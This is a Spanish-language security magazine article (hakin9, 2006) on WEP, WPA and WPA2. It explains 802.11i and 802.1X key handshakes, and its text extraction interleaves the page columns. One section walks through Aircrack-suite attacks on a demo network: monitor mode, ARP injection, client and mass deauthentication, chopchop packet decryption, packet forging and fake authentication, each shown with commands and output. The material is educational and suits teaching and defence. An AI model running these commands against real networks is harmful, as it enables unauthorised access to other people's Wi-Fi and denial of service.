Está en la página 1de 15

Seguridad Wi-Fi

WEP, WPA y WPA2


Tema caliente

Guillaume Lehembre

Grado de dificultad

La tecnologa Wi-Fi (Wireless Fidelity) es una de las tecnologas


lder en la comunicacin inalmbrica, y el soporte para Wi-Fi
se est incorporando en cada vez ms aparatos: porttiles,
PDAs o telfonos mviles. De todas formas, hay un aspecto que
en demasiadas ocasiones pasa desapercibido: la seguridad.
Analicemos con ms detalle el nivel de seguridad de los mtodos
de encriptacin utilizados por las soluciones Wi-Fi actuales.

A
un cuando se activen las medidas de donde || es un operador de concatenacin y
seguridad en los aparatos Wi-Fi, se + es un operador XOR. Claramente, el vector
utiliza un protocolo de encriptacin de inicializacin es la clave de la seguridad
dbil, como WEP. En este artculo, exami- WEP, as que para mantener un nivel decen-
naremos las debilidades de WEP y veremos te de seguridad y minimizar la difusin, el IV
lo sencillo que es crackear el protocolo. La debe ser aplicado a cada paquete, para que
lamentable inadecuacin de WEP resalta los paquetes subsiguientes estn encriptados
la necesidad de una nueva arquitectura de con claves diferentes. Desafortunadamente
seguridad en el estndar 802.11i, por lo que para la seguridad WEP, el IV es transmitido en
tambin estudiaremos la puesta en prctica texto simple, y el estndar 802.11 no obliga a la
de WPA y WPA2 junto a sus primeras vulne- incrementacin del IV, dejando esta medida de
rabilidades menores y su integracin en los seguridad como opcin posible para una termi-
sistemas operativos.

R.I.P. WEP En este artculo aprenders...


WEP (Wired Equivalent Privacy) fue el primer
las debilidades de la encriptacin WEP,
protocolo de encriptacin introducido en el pri-
una visin global del estndar 802.11i y sus
mer estndar IEEE 802.11 all por 1999. Est aplicaciones comerciales: WPA y WPA2,
basado en el algoritmo de encriptacin RC4, los fundamentos de 802.1x,
con una clave secreta de 40 o 104 bits, combi- las debilidades potenciales de WPA y WPA2.
nada con un Vector de Inicializacin (IV) de 24
bits para encriptar el mensaje de texto M y su Lo que deberas saber...
checksum el ICV (Integrity Check Value). El
mensaje encriptado C se determinaba utilizan- los fundamentos de los protocolos TCP/IP
do la siguiente frmula: y Wi-Fi,
debes tener nociones bsicas de criptografa.
C = [ M || ICV(M) ] + [ RC4(K || IV) ]

12 hakin9 N 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

nal inalmbrica particular (punto de


acceso o tarjeta inalmbrica).

Breve historia de WEP


El protocolo WEP no fue creado por
expertos en seguridad o criptografa,
as que pronto se demostr que era
vulnerable ante los problemas RC4
descritos por David Wagner cuatro
aos antes. En 2001, Scott Fluhrer,
Itsik Mantin y Adi Shamir (FMS pa-
ra abreviar) publicaron su famoso
artculo sobre WEP, mostrando dos
vulnerabilidades en el algoritmo de Figura 1. Protocolo de encriptacin WEP
encriptacin: debilidades de no-va-
riacin y ataques IV conocidos. Am- a su linealidad, algo que Nikita Bori- Las herramientas de cracking, co-
bos ataques se basan en el hecho de sov, Ian Goldberg y David Wagner ya mo Aircrack de Christophe Devine o
que para ciertos valores de clave es haban advertido en 2001. WepLab de Jos Ignacio Snchez,
posible que los bits en los bytes ini- Desde entonces, se ha acepta- ponen en prctica estos ataques y
ciales del flujo de clave dependan de do que WEP proporciona un nivel pueden extraer una clave WEP de
tan slo unos pocos bits de la clave de seguridad aceptable slo para 128-bits en menos de 10 minutos (o
de encriptacin (aunque normal- usuarios domsticos y aplicaciones algo ms, dependiendo del punto
mente cada bit de un flujo de clave no crticas. Sin embargo, incluso de acceso y la tarjeta wireless es-
tiene una posibilidad del 50% de ser eso se desvaneci con la apari- pecficos).
diferente del anterior). Como la cla- cin de los ataques KoreK en 2004 La incorporacin de la inyeccin
ve de encriptacin est compuesta (ataques generalizados FMS, que de paquetes mejor sustancialmen-
concatenando la clave secreta con incluan optimizaciones de h1kari), te los tiempos de crackeo de WEP,
el IV, ciertos valores de IV muestran y el ataque inductivo invertido Ar- requiriendo tan slo miles, en lugar
claves dbiles. baugh, permitiendo que paquetes de millones, de paquetes con sufi-
Estas vulnerabilidades fueron arbitrarios fueran desencriptados cientes IVs nicos alrededor de
aprovechadas por herramientas de sin necesidad de conocer la clave 150,000 para una clave WEP de
seguridad como AirSnort, permi- utilizando la inyeccin de paquetes. 64-bits y 500,000 para una clave de
tiendo que las claves WEP fueran
Tabla 1. Cronologa de la muerte de WEP
descubiertas analizando una can-
tidad de trfico suficiente. Aunque Fecha Descripcin
este tipo de ataque poda ser de-
Septiembre Vulnerabilidad RC4 potencial (Wagner)
sarrollado con xito en una red con
1995
mucho trfico en un plazo de tiempo
razonable, el tiempo requerido para Octubre Primera publicacin sobre las debilidades de WEP: Insegura
el procesamiento de los datos era 2000 para cualquier tamao de clave; Anlisis de la encapsula-
bastante largo. David Hulton (h1kari) cin WEP (Walker)
ide un mtodo optimizado de este Mayo 2001 Ataque contra WEP/WEP2 de Arbaugh
mismo ataque, tomando en consi-
Julio 2001 Ataque CRC bit flipping Intercepting Mobile Communica-
deracin no slo el primer byte de
tions: The Insecurity of 802.11 (Borisov, Goldberg, Wagner)
la salida RC4 (como en el mtodo
FMS), sino tambin los siguientes. Agosto Ataques FMS Debilidades en el algoritmo de programa-
Esto result en una ligera reduccin 2001 cin de RC4 (Fluhrer, Mantin, Shamir)
de la cantidad de datos necesarios Agosto Publicacin de AirSnort
para el anlisis. 2001
La etapa de comprobacin de Febrero Ataques FMS optimizados por h1kari
integridad tambin sufre de serias 2002
debilidades por culpa del algoritmo Agosto Ataques KoreK (IVs nicos) publicacin de chopchop y
CRC32 utilizado para esta tarea. 2004 chopper
CRC32 se usa normalmente para la
Julio/ Publicacin de Aircrack (Devine) y WepLab (Snchez),
deteccin de errores, pero nunca fue
Agosto poniendo en prctica los ataques KoreK.
considerado como seguro desde un
2004
punto de vista criptogrfico, debido

www.hakin9.org hakin9 N 1/2006 13


Tema caliente

Listado 1. Activando el modo monitor


ARP-Request
# airmon.sh start ath0 El protocolo Address Resolution Pro-
Interface Chipset Driver tocol (ARP RFC826) es usado para
ath0 Atheros madwifi (monitor mode enabled) traducir una direccin IP de 32-bits a
una direccin Ethernet de 48-bits (las
redes Wi-Fi tambin utilizan el protoco-
lo ethernet). Para ilustrarlo, cuando un
Listado 2. Descubriendo las redes cercanas y sus clientes host A (192.168.1.1) quiere comunicar-
se con un host B (192.168.1.2), la direc-
# airodump ath0 wep-crk 0 cin IP conocida debe ser traducida a
una direccin MAC utilizando el proto-
BSSID PWR Beacons # Data CH MB ENC ESSID
colo ARP. Para hacerlo, el host A enva
00:13:10:1F:9A:72 62 305 16 1 48 WEP hakin9demo
un mensaje broadcast conteniendo la
BSSID STATION PWR Packets ESSID direccin IP del host B (Quin tiene
00:13:10:1F:9A:72 00:0C:F1:19:77:5C 56 1 hakin9demo 192.168.1.2? Decrselo a 192.168.1.1).
El host objetivo, reconociendo que la
direccin IP en los paquetes coincide
con la suya propia, devuelve una res-
128-bits. Con la inyeccin de paque- airodump: herramienta de sni- puesta (192.168.1.2 est en 01:23:45:
tes, el obtener los datos necesarios ffing utilizada para descubrir las 67:89:0A). La respuesta es tpicamente
era apenas una tarea de minutos. redes que tienen activado WEP, almacenada en la cach.
En la actualidad, WEP est defini- aireplay: herramienta de inyec-
tivamente muerto (ver Tabla 1) y no cin para incrementar el trfico,
debera ser utilizado, ni siquiera con aircrack: crackeador de claves pueden ser repetidas para generar
rotacin de claves. WEP que utiliza los IVs nicos nuevas respuestas ARP desde un
Los fallos de seguridad de WEP recogidos. host legtimo, haciendo que los men-
pueden resumirse tal y como sigue: sajes wireless sean encriptados con
En la actualidad, Aireplay slo so- nuevos IVs.
debilidades del algoritmo RC4 porta la inyeccin en algunos chip- En los siguientes ejemplos, 00:
dentro del protocolo WEP debido sets wireless, y el soporte para la 13:10:1F:9A:72 es la direccin MAC
a la construccin de la clave, inyeccin en modo monitor requiere del punto de acceso (BSSID) en el
los IVs son demasiado cortos (24 los ltimos drivers parcheados. El canal 1 con ESSID hakin9demo y
bits hacen falta menos de 5000 modo monitor es el equivalente 00:09:5B:EB:C5:2B es la direccin
paquetes para tener un 50% de del modo promiscuo en las redes MAC de un cliente wireless (utili-
posibilidades de dar con la clave) de cable, que previene el rechazo zando WEP o WPA-PSK, depen-
y se permite la reutilizacin de de paquetes no destinados al host diendo del caso). La mayor parte de
IV (no hay proteccin contra la de monitorizacin (lo que se hace los comandos requieren privilegios
repeticin de mensajes), normalmente en la capa fsica del de root.
no existe una comprobacin de stack OSI), permitiendo que todos El primer paso, es la activacin
integridad apropiada (se utiliza los paquetes sean capturados. Con del modo monitor en nuestra tarjeta
CRC32 para la deteccin de los drivers parcheados, slo se wireless (en este caso, un modelo
errores y no es criptogrficamen- necesita una tarjeta wireless para basado en Atheros), as que po-
te seguro por su linealidad), capturar e inyectar trfico simult- demos capturar todo el trfico (ver
no existe un mtodo integrado de neamente. Listado 1). El paso siguiente, ser
actualizacin de las claves. La meta principal del ataque es descubrir redes cercanas y sus
generar trfico para capturar IVs clientes, escaneando los 14 cana-
Crackeado de la clave WEP nicos utilizados entre un cliente le- les que utilizan las redes Wi-Fi (ver
utilizando Aircrack gtimo y el punto de acceso. Algunos Listado 2).
El crackeado de WEP puede ser datos encriptados son fcilmente re- El resultado del Listado 2 se
demostrado con facilidad utilizando conocibles porque tienen una longi- puede interpretar de esta forma: un
herramientas como Aircrack (creado tud fija, una direccin de destino fija, punto de acceso con BSSID 00:13:
por el investigador francs en temas etc. Esto sucede con los paquetes 10:1F:9A:72 est usando encripta-
de seguridad, Christophe Devine). de peticin ARP (vase Recuadro cin WEP en el canal 1 con SSID
Aircrack contiene tres utilidades ARP-Request), que son enviadas hakin9demo y un cliente identificado
principales, usadas en las tres fases a la direccin broadcast (FF:FF:FF: con MAC 00:0C:F1:19:77:5C estn
del ataque necesario para recuperar FF:FF:FF) y tienen una longitud fija asociados y autenticados en esta
la clave: de 68 octetos. Las peticiones ARP red wireless.

14 hakin9 N 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

Una vez se haya localizado la


red objetivo, deberamos empezar
a capturar en el canal correcto para
evitar la prdida de paquetes mien-
tras escaneamos otros canales. Esto
produce la misma respuesta que el
comando previo:

# airodump ath0 wep-crk 1

Despus, podremos usar la informa-


cin recogida para inyectar trfico
utilizando aireplay. La inyeccin
empezar cuando una peticin ARP
capturada, asociada con el BSSID
objetivo aparezca en la red inalm-
brica:

Figura 2. Resultados de Aircrack despus de unos minutos


# aireplay -3 \
-b 00:13:10:1F:9A:72 \ Un cliente wireless puede ser operador XOR en el protocolo WEP
-h 00:0C:F1:19:77:5C \ deautenticado usando el siguiente significa que un byte seleccionado
-x 600 ath0 comando, que hace que se enven en el mensaje encriptado siempre
(...) paquetes de deautenticacin desde depende del mismo byte en el pa-
Read 980 packets el BSSID al cliente MAC haciendo quete plaintext. Cortando el ltimo
(got 16 ARP requests), spoofing del BSSID: byte del mensaje encriptado lo co-
sent 570 packets... rrompe, pero tambin hace posible
# aireplay -0 5 intentar adivinar el valor del byte
Finalmente, aircrack se utiliza para -a 00:13:10:1F:9A:72 plaintext correspondiente y corregir
recuperar la clave WEP. Utilizando el -c 00:0C:F1:19:77:5C el mensaje encriptado.
fichero pcap se hace posible lanzar ath0 Si el paquete corregido es re-
este paso final mientras airodump si- inyectado a la red, ser desechado
gue capturando datos (vase Figura 2 Se puede lograr una deautentica- por el punto de acceso si el intento
para los resultados): cin masiva, aunque no siempre ha sido incorrecto (en cuyo caso
es fiable, haciendo que el atacante hay que hacer otro intento), pero si
# aircrack -x -0 wep-crk.cap est haciendo spoofing constante el intento ha tenido xito, se tomar
del BSSID y reenviando el paquete el paquete como de costumbre. Re-
Otros tipos de ataque de deautenticacin a la direccin petir el ataque para todos los bytes
Aircrack broadcast: del mensaje consigue que poda-
Aircrack hace tambin posible rea- mos desencriptar un paquete WEP
lizar otros tipos interesantes de ata- # aireplay -0 0 y recuperar el flujo de clave. Recor-
ques. Veamos algunos de ellos. -a 00:13:10:1F:9A:72 demos que la implementacin IV no
ath0 es obligatoria en el protocolo WEP,
Ataque 2: Deautenticacin as que es posible reutilizar este
Este ataque puede ser usado pa- Ataque 3: Desencriptacin flujo de datos para hacer spoof de
ra recuperar un SSID oculto (por de paquetes de datos WEP paquetes posteriores (reutilizando
ejemplo, uno que no sea broadcast), arbitrarios sin conocer la el mismo IV).
capturar un WPA 4-way handshake clave La tarjeta wireless debe estar
o forzar una Denegacin del Servi- Este ataque est basado en la situada en modo monitor, en el
cio (ms sobre ello despus, en la herramienta representativa de Ko- canal adecuado (vase el ejemplo
seccin sobre 802.11i). El objetivo reK, llamada chopchop, que puede previo para una descripcin de
del ataque es forzar al cliente a desencriptar paquetes encriptados cmo hacerlo). El ataque debe ser
reautenticarse, lo que unido a la falta con WEP sin conocer la clave. El lanzado contra un cliente legtimo
de autenticacin para los marcos de chequeo de integridad implementa- (por ejemplo 00:0C:F1:19:77:5C en
control (usados para autenticacin, do en el protocolo WEP permite que nuestro caso) y aireplay pedir al
asociacin, etc.) hace posible que el el atacante pueda modificar tanto un atacante que acepte los paquetes
atacante consiga hacer spoof de las paquete encriptado como su corres- encriptados (ver Listado 3). Se crean
direcciones MAC. pondiente CRC. Ms an, el uso del dos ficheros pcap: uno para los pa-

www.hakin9.org hakin9 N 1/2006 15


Tema caliente

quetes desencriptados, y otro para


Listado 3. Desencriptando paquetes WEP sin conocer la clave su flujo de datos correspondiente. El
# aireplay -4 -h 00:0C:F1:19:77:5C ath0
archivo resultante puede ser legible
Read 413 packets... por humanos usando un lector apro-
Size: 124, FromDS: 0, ToDS: 1 (WEP) piado (usaremos tcpdump) vase
BSSID = 00:13:10:1F:9A:72 el Listado 4 para un ejemplo de ping
Dest. MAC = 00:13:10:1F:9A:70
intercambiado entre hosts.
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 d500 0013 101f 9a72 000c f119 775c .A.......r....w\
Una vez capturado el flujo de cla-
0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c .....p.@......., ve, es posible imitar cualquier paque-
0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76 \.'...h.#..GZ.[v te. Aqu tenemos una peticin ARP
0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c .x.....0...hV.Sl enviada desde 192.168.2.123 (00:
0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4 pF_..K....j.4wt.
0C:F1:19:77:5C) a 192.168.2.103:
0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6 .......5#.U...[.
0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1 .+>.[...";.D7...
0x0070: 3b88 c5b1 0843 0289 1bff 5160 ;....C....Q` # arpforge \
Use this packet ? y replay_dec-0916-114019.xor \
Saving chosen packet in replay_src-0916-113713.cap 1 \
Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373 frames written in 1120ms
00:13:10:1F:9A:72 \
Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671 frames written in 2013ms
00:0C:F1:19:77:5C \
(...)
Offset 35 (97% done) | xor = 83 | pt = 00 | 691 frames written in 2072ms 192.168.2.123 \
Offset 34 (98% done) | xor = 2F | pt = 08 | 692 frames written in 2076ms 192.168.2.103 \
Saving plaintext in replay_dec-0916-114019.cap forge-arp.cap
Saving keystream in replay_dec-0916-114019.xor
Completed in 183s (0.47 bytes/s)
Finalmente aireplay se usa para
volver a ejecutar este paquete (ver
Listado 5).
Listado 4. Leyendo un fichero pcap del ataque Este mtodo es menos auto-
# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap mtico que el propio ARP request
reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11) spoofing de Airckrack (la opcin -1),
11:40:19.642112 BSSID:00:13:10:1f:9a:72 pero es ms escalable el atacante
SA:00:0c:f1:19:77:5c DA:00:13:10:1f:9a:70 puede usar el flujo descubierto para
LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000),
imitar cualquier paquete que no sea
ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:
ICMP echo request, id 23046, seq 1, length 64 ms largo que el flujo de datos (si
no, el flujo de clave debe ser expan-
dido).

Listado 5. Re-ejecucin de un paquete falso


Ataque 4: Autenticacin falsa
# aireplay -2 -r forge-arp.cap ath0 El mtodo de crackeado de la cla-
Size: 68, FromDS: 0, ToDS: 1 (WEP) ve WEP descrito anteriormente
BSSID = 00:13:10:1F:9A:72 (Ataques 1 y 3) requiere un cliente
Dest. MAC = FF:FF:FF:FF:FF:FF
legtimo (real o virtual, aunque real
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 0201 0013 101f 9a72 000c f119 775c .A.......r....w\ sera mejor), asociado con el punto
0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c ..............., de acceso para asegurarse de que el
0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c \.'.I.`.%.KF.... punto de acceso no rechace los pa-
0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a ..S.o-.....3..Q. quetes por una direccin de destino
0x0040: 49b7 52da I.R.
no asociada.
Use this packet ? y
Saving chosen packet in replay_src-0916-124231.cap Si se utiliza autenticacin abier-
You must also start airodump to capture replies. ta, cualquier cliente podr ser au-
Sent 1029 packets... tenticado y asociado con el punto
de acceso, pero el punto de acceso
rechazar los paquetes no encripta-
Listado 6. Autenticacin falsa dos con la clave WEP correcta. En
el ejemplo del Listado 6, se utiliza
# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0 Aireplay para imitar una peticin de
18:30:00 Sending Authentication Request
autenticacin y asociacin para el
18:30:00 Authentication successful
18:30:00 Sending Association Request SSID hakin9demo (BSSID: 00:13:
18:30:00 Association successful 10:1F:9A:72) con la direccin MAC
falseada 0:1:2:3:4:5.

16 hakin9 N 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

802.11i
IEEE 802.1X y EAP En enero de 2001, el grupo de
El protocolo de autenticacin IEEE 802.1X (tambin conocido como Port-Based Net- trabajo i task group fue creado en
work Access Control) es un entorno desarrollado originalmente para redes de cable, y IEEE para mejorar la seguridad en
posee mecanismos de autenticacin, autorizacin y distribucin de claves y adems la autenticacin y la encriptacin
incorpora controles de acceso para los usuarios que se unan a la red. La arquitectura de datos. En abril de 2003, la Wi-Fi
IEEE 802.1X est compuesta por tres entidades funcionales:
Alliance (una asociacin que pro-
el suplicante que se une a la red, mueve y certifica Wi-Fi) realiz una
el autenticador que hace el control de acceso, recomendacin para responder a
el servidor de autenticacin que toma las decisiones de autorizacin. las preocupaciones empresariales
ante la seguridad inalmbrica. Sin
En las redes inalmbricas, el punto de acceso sirve de autenticador. Cada puerto fsico embargo, eran conscientes de que
(puerto virtual en las redes inalmbricas) se divide en dos puertos lgicos, formando los clientes no querran cambiar sus
la PAE (Port Access Entity). La PAE de autenticacin est siempre abierta y permite el
equipos.
paso de procesos de autenticacin, mientras que el PAE de servicio slo se abre tras
En junio de 2004, la edicin final
una autenticacin exitosa (por ejemplo, una autorizacin) por un tiempo limitado (3600
segundos por defecto). La decisin de permitir acceso est hecha por lo general por la
del estndar 802.11i fue adoptada y
tercera entidad, el servidor de autenticacin (que puede ser un servidor Radius dedi- recibi el nombre comercial WPA2
cado o por ejemplo en las redes domsticas un simple proceso funcionando en el por parte de la alianza Wi-Fi. El es-
punto de acceso). La Figura 3 ilustra el modo de comunicacin entre estas entidades. tndar IEEE 802.11i introdujo varios
El estndar 802.11i hace pequeas modificaciones a IEEE 802.1X para que las cambios fundamentales, como la
redes inalmbricas estn protegidas frente al robo de identidades. La autenticacin separacin de la autenticacin de
de mensajes se ha incorporado para asegurarse de que tanto el suplicante como el usuario de la integridad y privacidad
autenticador calculan sus claves secretas y activan la encriptacin antes de acceder de los mensajes, proporcionando
a la red. una arquitectura robusta y escala-
El suplicante y el autenticador se comunican mediante un protocolo basado en
ble, que sirve igualmente para las
EAP. El rol del autenticador es, esencialmente, pasivo se limita a enviar todos los
redes locales domsticas como para
mensajes al servidor de autenticacin. EAP es un entorno para el transporte de varios
mtodos de autenticacin y permite slo un nmero limitado de mensajes (Request,
los grandes entornos de red corpo-
Response, Success, Failure), mientras que otros mensajes intermedios son depen- rativos. La nueva arquitectura para
dientes del mtodo seleccionado de autenticacin: EAP-TLS, EAP-TTLS, PEAP, las redes wireless se llama Robust
Kerberos V5, EAP-SIM etc. Cuando se completa el proceso (por la multitud de mto- Security Network (RSN) y utiliza
dos posibles no entraremos en detalles), ambas entidades (suplicante y servidor de autenticacin 802.1X, distribucin de
autenticacin) tendrn una clave maestra secreta. El protocolo utilizado en las redes claves robustas y nuevos mecanis-
inalmbricas para transportar EAP se llama EAPOL (EAP Over LAN), las comunica- mos de integridad y privacidad.
ciones entre autenticador y servidor de autenticacin utilizan protocolos de capa ms Adems de tener una arquitectu-
alta, como Radius, etc. ra ms compleja, RSN proporciona
soluciones seguras y escalables
Algunos puntos de acceso re- comportamiento puede ser mini- para la comunicacin inalmbrica.
quieren que los clientes se vuelvan mizado en aireplay sustituyendo la Una RSN slo aceptar mquinas
a asociar cada 30 segundos. Este segunda opcin (0) por 30. con capacidades RSN, pero IEEE
802.11i tambin define una red tran-
sicional de seguridad Transitional
Security Network (TSN), arquitectu-
ra en la que pueden participar siste-
mas RSN y WEP, permitiendo a los
usuarios actualizar su equipo en el
futuro. Si el proceso de autenticacin
o asociacin entre estaciones utiliza
4-Way handshake, la asociacin
recibe el nombre de RSNA (Robust
Security Network Association).
El establecimiento de un contex-
to seguro de comunicacin consta
de cuatro fases (ver Figura 4):

acuerdo sobre la poltica de se-


guridad,
Figura 3. Modelo de IEEE 802.1X segn la especificacin IEEE 802.1X autenticacin 802.1X,

www.hakin9.org hakin9 N 1/2006 17


Tema caliente

La Figura 5 ilustra esta primera


fase.

Fase 2: autenticacin 802.1X


La segunda fase es la autentica-
cin 802.1X basada en EAP y en el
mtodo especfico de autenticacin
decidido: EAP/TLS con certificados
de cliente y servidor (requiriendo
una infraestructura de claves pbli-
cas), EAP/TTLS o PEAP para au-
tenticacin hbrida (con certificados
slo requeridos para servidores),
etc. La autenticacin 802.1X se
inicia cuando el punto de acceso
pide datos de identidad del cliente,
Figura 4. Fases operacionales de 802.11i y la respuesta del cliente incluye el
mtodo de autenticacin preferido.
derivacin y distribucin de las rios pre-autenticarse antes de Se intercambian entonces mensa-
claves, cambiar de punto de acceso en jes apropiados entre el cliente y
confidencialidad e integridad de la misma red para un funciona- el servidor de autenticacin para
los datos RSNA. miento sin retrasos. generar una clave maestra comn

Fase 1: Acuerdo sobre la


poltica de seguridad
La primera fase requiere que los par-
ticipantes estn de acuerdo sobre la
poltica de seguridad a utilizar. Las
polticas de seguridad soportadas
por el punto de acceso son mostra-
das en un mensaje Beacon o Probe
Response (despus de un Probe
Request del cliente). Sigue a esto
una autenticacin abierta estndar
(igual que en las redes TSN, donde
la autenticacin siempre tiene xito).
La respuesta del cliente se incluye
en el mensaje de Association Re- Figura 5. Fase 1: Acuerdo sobre la poltica de seguridad
quest validado por una Association
Response del punto de acceso. La
informacin sobre la poltica de se-
guridad se enva en el campo RSN
IE (Information Element) y detalla:

los mtodos de autenticacin


soportados (802.1X, Pre-Shared
Key (PSK)),
protocolos de seguridad para el
trfico unicast (CCMP, TKIP etc.)
la suit criptogrfica basada en
pares,
protocolos de seguridad para el
trfico multicast (CCMP, TKIP
etc.) suit criptogrfica de gru-
po,
soporte para la pre-autentica-
cin, que permite a los usua- Figura 6. Fase 2: autenticacin 802.1X

18 hakin9 N 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

(MK). Al final del proceso, se enva


desde el servidor de autenticacin
al punto de acceso un mensaje Ra-
dius Accept, que contiene la MK y
un mensaje final EAP Success para
el cliente. La Figura 6 ilustra esta
segunda fase.

Fase 3: jerarqua y
distribucin de claves
La seguridad de la conexin se
basa en gran medida en las claves
secretas. En RSN, cada clave tiene
una vida determinada y la seguri-
dad global se garantiza utilizando
un conjunto de varias claves organi- Figura 7. Fase 3: derivacin y distribucin de claves
zadas segn una jerarqua. Cuando
se establece un contexto de seguri-
dad tras la autenticacin exitosa, se
crean claves temporales de sesin
y se actualizan regularmente hasta
que se cierra el contexto de seguri-
dad. La generacin y el intercambio
de claves es la meta de la tercera
fase. Durante la derivacin de la
clave, se producen dos handshakes
(vase Figura 7):

4-Way Handshake para la de-


rivacin de la PTK (Pairwise
Transient Key) y GTK (Group
Transient Key),
Group Key Handshake para la
renovacin de GTK.

La derivacin de la clave PMK Figura 8. Fase 3: jerarqua de clave por parejas


(Pairwise Master Key) depende del
mtodo de autenticacin: fico unicast esta es la PTK (Pairwise TMK (Temporary MIC Key 2x64
Transient Key). La longitud de la bits): Clave para la autenticacin
si se usa una PSK (Pre-Shared PTK depende el protocolo de encrip- de datos (usada slo por Michael
Key), PMK = PSK. La PSK es tacin: 512 bits para TKIP y 384 bits con TKIP). Se usa una clave
generada desde una passphra- para CCMP. La PTK consiste en va- dedicada para cada lado de la
se (de 8 a 63 caracteres) o una rias claves temporales dedicadas: comunicacin.
cadena de 256-bit y proporciona
una solucin para redes doms- KCK (Key Confirmation Key 128 Esta jerarqua se resume en la Fi-
ticas o pequeas empresas que bits): Clave para la autenticacin gura 8.
no tienen servidor de autentica- de mensajes (MIC) durante el 4- El 4-Way Handshake, iniciado por
cin, Way Handshake y el Group Key el punto de acceso, hace posible:
si se usa un servidor de autenti- Handshake,
cacin, la PMK es derivada de la KEK (Key Encryption Key 128 confirmar que el cliente conoce la
MK de autenticacin 802.1X. bits): Clave para asegurar la con- PMK,
fidencialidad de los datos durante derivar una PTK nueva,
La PMK en si misma no se usa el 4-Way Handshake y el Group instalar claves de encriptacin e
nunca para la encriptacin o la com- Key Handshake, integridad,
probacin de integridad. Al contrario, TK (Temporary Key 128 bits): encriptar el transporte de la GTK,
se usa para generar una clave de Clave para encriptacin de datos confirmar la seleccin de la suite
encriptacin temporal para el tr- (usada por TKIP o CCMP), de cifrado.

www.hakin9.org hakin9 N 1/2006 19


Tema caliente

vadas, as que enva el SNonce y


la clave MIC calculada del segun-
do mensaje usando la clave KCK.
Cuando el autenticador recibe el
segundo mensaje, puede extraer el
SNonce (porque el mensaje no est
encriptado) y calcular la PTK y las
claves temporales derivadas. Ahora
puede verificar el valor de MIC en el
segundo mensaje y estar seguro de
que el suplicante conoce la PMK y
ha calculado correctamente la PTK
y las claves temporales derivadas.
El tercer mensaje enviado por el
autenticador al suplicante contiene
el GTK (encriptada con la clave
KEK), derivada de un GMK aleato-
rio y GNonce (ver Figura 10), junto
con el MIC calculado del tercer
mensaje utilizando la clave KCK.
Cuando el suplicante recibe este
mensaje, el MIC se comprueba
para asegurar que el autenticador
Figura 9. Fase 3: 4-Way Handshake conoce el PMK y ha calculado
correctamente la PTK y derivado
claves temporales.
El ltimo mensaje certifica la
finalizacin del handshake e indica
que el suplicante ahora instalar
la clave y empezar la encripta-
cin. Al recibirlo, el autenticador
instala sus claves tras verificar el
valor MIC. As, el sistema mvil y
el punto de acceso han obtenido,
calculado e instalado unas claves
de integridad y encriptacin y ahora
pueden comunicarse a travs de un
canal seguro para trfico unicast y
multicast.
El trfico multicast se protege
con otra clave: GTK (Group Tran-
sient Key), generada de una clave
maestra llamada GMK (Group
Master Key), una cadena fija, la
direccin MAC del punto de acceso
Figura 10. Fase 3: jerarqua de Group Key y un nmero aleatorio GNonce. La
longitud de GTK depende del proto-
Se intercambian cuatro mensajes nerados por el autenticador y el su- colo de encriptacin 256 bits para
EAPOL-Key entre el cliente y el plicante, respectivamente). El punto TKIP y128 bits para CCMP. GTK se
punto de acceso durante el 4-Way de acceso inicia el primer mensaje divide en claves temporales dedi-
Handshake. Esto se muestra en la seleccionando el nmero aleatorio cadas:
Figura 9. ANonce y envindoselo al suplican-
La PTK se deriva de la PMK, te, sin encriptar el mensaje o prote- GEK (Group Encryption Key):
una cadena fija, la direccin MAC gerlo de las trampas. El suplicante Clave para encriptacin de datos
del punto de acceso, la direccin genera su propio nmero aleatorio (usada por CCMP para la auten-
MAC del cliente y dos nmeros SNonce y ahora puede calcular la ticacin y para la encriptacin,
aleatorios (ANonce y SNonce, ge- PTK y las claves temporales deri- y por TKIP),

20 hakin9 N 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

GIK (Group Integrity Key): Clave


para la autenticacin de datos
(usada solamente por Michael
con TKIP).

Esta jerarqua se resume en la Fi-


gura 10.
Se intercambian dos mensajes
EAPOL-Key entre el cliente y el pun-
to de acceso durante el Group Key
Handshake. Este handshake hace
uso de claves temporales generadas
durante el 4-Way Handshake (KCK
y KEK). El proceso se muestra en la
Figura 11.
El Group Key Handshake slo
se requiere para la disasociacin de
una estacin o para renovar la GTK,
Figura 11. Fase 3: Group Key Handshake
a peticin del cliente. El autenticador
inicia el primer mensaje escogiendo Hay un concepto importante que (TSC, o TKIP Sequence Coun-
el nmero aleatorio GNonce y calcu- debe ser entendido antes de detallar ter) e incrementando el valor del
lando una nueva GTK. Enva la GTK estos protocolos: la diferencia entre IV para evitar la reutilizacin,
encriptada (usando KEK), el nmero MSDU (MAC Service Data Unit) y Per Packet Key Mixing: para unir
de secuencia de la GTK y el MIC MPDU (MAC Protocol Data Unit). claves de encriptacin aparente-
calculado de este mensaje usando Ambos trminos se refieren a un mente inconexas,
KCK al suplicante. Cuando el men- slo paquete de datos, pero MSDU gestin de claves: nuevos me-
saje es recibido por el suplicante, se representa a los datos antes de la canismos para la distribucin y
verifica el MIC y la GTK puede ser fragmentacin, mientras las MPDUs modificacin de claves.
desencriptada. son mltiples unidades de datos tras
El segundo mensaje certifi- la fragmentacin. La diferencia es TKIP Key-Mixing Scheme se divide
